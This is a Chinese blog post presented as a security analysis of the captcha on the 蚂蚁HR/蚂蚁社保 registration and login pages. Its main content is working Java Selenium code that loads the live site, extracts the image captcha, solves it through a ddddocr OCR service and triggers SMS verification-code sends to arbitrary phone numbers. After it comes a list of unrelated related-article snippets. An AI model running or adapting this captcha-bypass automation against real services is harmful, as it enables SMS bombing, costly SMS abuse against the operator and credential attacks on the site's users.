【蚂蚁HR-注册/登录安全分析报告】

news/2024/10/5 22:31:34/

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 蚂蚁HR PC 注册入口

简介:蚂蚁社保是武汉微蚁企业服务有限公司旗下的网站,主要提供五险一金的代缴、补缴、社保开户、社保挂靠和社保代理服务。该平台主要覆盖一二线城市,目前已覆盖13+城市。蚂蚁社保的特点是高度自动化和在线化,创始人团队致力于通过程序和硬件替代所有可以自动化的环节,从而最大限度地减少人为错误。所有操作流程都在线并有记录可循,确保透明度和可追溯性。其服务费用为80元/月,终身会员费为300元。

在这里插入图片描述该网站不知道是何原因,手机号注册居然需要用户关注公众号,重新输入手机号及验证码才能完成,完全颠覆了原本接受手机号验证完成注册的流程,不过忘记密码依赖存在,采用的是 图形验证码的验证方式

在这里插入图片描述

在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为4个数字英文,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互

private static String INDEX_URL = "https://i.mayihr.com/#/entry/passback";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);// 登录/注册WebElement tabElement = driver.findElement(By.className("hd-login-btn"));tabElement.click();// 手机验证码登录WebElement tab2Element = driver.findElement(By.className("change-mobile"));tab2Element.click();// 1 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.name("mobile"), 1);phoneElemet.sendKeys(phone);String imgCode = null, imgUrl;byte[] imgByte = null;// 2 获取图形验证码WebElement imgElement = driver.findElement(By.xpath("//img[@class='imgverifycode']"));for (int i = 0; i < 3; i++) {imgUrl = imgElement.getAttribute("src");imgByte = (imgUrl != null) ? GetImage.callJsByUrl(driver, imgUrl) : null;int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;imgCode = DigitFormat.getDigit(imgCode);if (imgCode != null && imgCode.length() >= 4) {break;}imgElement.click();Thread.sleep(1 * 1000);}if (imgCode == null || imgCode.length() < 1) {System.out.println("imgCode=" + imgCode);return retEntity;}// 3 输入识别出来的图形验证码WebElement codeInElement = driver.findElement(By.name("imgcode"));codeInElement.sendKeys(imgCode);// 4 点击获取验证码Thread.sleep(1 * 1000);WebElement getCodeElement = driver.findElement(By.className("getcode"));if (getCodeElement != null)getCodeElement.click();// 5 获取结果Thread.sleep(500);WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'秒后重新发送')]"), 20);String gtInfo = (gtElement != null) ? gtElement.getText() : null;retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);if (gtInfo != null && gtInfo.contains("秒后重新发送")) {retEntity.setRet(0);ddddOcr.saveFile("Redocn", imgCode, imgByte);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {return callJsById(driver, id, null);}public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";js += "let base64String = c.toDataURL();return base64String;";String src = ((JavascriptExecutor) driver).executeScript(js).toString();String base64Str = src.substring(src.indexOf(",") + 1);if (base64 != null) {base64.append(base64Str);}byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;return vBytes;}

3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("ddddUrl=" + ddddUrl);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10000);con.setReadTimeout(10000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();if (bigImage != null && bigImage.length > 0) {out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);}String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}public void saveFile(String factory, String imgCode, byte[] imgByte) {try {String basePath = ConstTable.codePath + factory + "/";File ocrFile = new File(basePath + imgCode + ".png");FileUtils.writeByteArrayToFile(ocrFile, imgByte);} catch (Exception e) {logger.error("saveFile() " + e.toString());}}

4. 图形OCR识别结果:

在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

蚂蚁社保是武汉微蚁企业服务有限公司旗下的网站,主要提供五险一金的代缴、补缴、社保开户、社保挂靠和社保代理服务。该平台主要覆盖一二线城市,目前已覆盖13+城市。蚂蚁社保的特点是高度自动化和在线化,创始人团队致力于通过程序和硬件替代所有可以自动化的环节,从而最大限度地减少人为错误,作为头部的社保代缴平台, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》


http://www.ppmy.cn/news/1533818.html

相关文章

Systemctl

目录 事件起因&#xff1a; 一、Systemctl是什么 1、Systemd是什么 解决&#xff1a; 事件起因&#xff1a; 使用systemctl restart mysql 重启mysql之后发现mysql修改的配置文件的内容没有应用上&#xff0c;故而研究原因。 一、Systemctl是什么 Systemctl是一个system…

微服务--SpringAMQP

AMQP&#xff1a;高级消息队列协议&#xff0c;是应用程序之间传递业务消息的开放标准&#xff0c;与语言和平台无关&#xff0c;更符合微服务架构中独立性的要求。 SpringAMQP&#xff1a;基于AMQP协议定义的一套API规范&#xff0c;提供了模板来发送和接收消息。它包含两部分…

Linux防火墙配置绿色端口,解决无法访问java服务的问题

配置防火墙&#xff0c;添加或删除端口&#xff0c;需要有root权限。 防火墙常用命令如下&#xff1a; 1.查看防火墙状态&#xff1a; systemctl status firewalldactive(running)&#xff1a;开启状态&#xff0c;正在运行中 inactive(dead)&#xff1a;关闭状态&#xff0…

期权卖方如何选择铁矿石行权价?期权策略盈亏分析计算方式详解

截止9月30日收盘&#xff0c;铁矿石2411合约收盘价825元/吨。日线级别处于上涨趋势中 假设以825元为最新价&#xff0c;假设后市铁矿石期货价格会下跌&#xff0c;期权卖方应该如何选择行权&#xff1f; 卖出行权价800的看涨期权&#xff0c;期权报价37.9&#xff0c;一手权利…

XML与JSON的用法与区别

XML和JSON各有优劣&#xff0c;选择哪种数据格式取决于具体的应用场景和需求。对于需要严格数据约束和结构化数据的场景&#xff0c;XML可能是更好的选择&#xff1b;而对于追求简洁、高效和灵活性的场景&#xff0c;JSON则更具优势。在实际开发中&#xff0c;根据项目的具体要…

Unity实战案例全解析:RTS游戏的框选和阵型功能(5)阵型功能 优化

前篇&#xff1a;Unity实战案例全解析&#xff1a;RTS游戏的框选和阵型功能&#xff08;4&#xff09;阵型功能-CSDN博客 本案例来源于unity唐老狮&#xff0c;有兴趣的小伙伴可以去泰克在线观看该课程 我只是对重要功能进行分析和做出笔记分享&#xff0c;并未无师自通&#x…

当MySQL中无法使用with关键词时该怎么办?

当MySQL中无法使用with关键词时该怎么办&#xff1f; withc1 as (SELECT count(*) FROM database.table1),c2 as (SELECT count(*) FROM database.table2),c3 as (SELECT count(*) FROM database.table3),c4 as (SELECT count(*) FROM database.table4),c5 as (SELECT count(*…

适用于 Windows 10 的最佳 PDF 编辑器列表,可帮助更改 PDF 文件。

PDF 是一种流行的、多功能且安全的文件格式&#xff0c;用于在线共享文档。但是&#xff0c;如果没有合适的应用程序&#xff0c;查看和编辑 PDF 文件可能会变得复杂。 幸运的是&#xff0c;有很多 PDF 编辑器可以帮助您更正重要文档上的错误、填写表格、为合同添加签名、更改…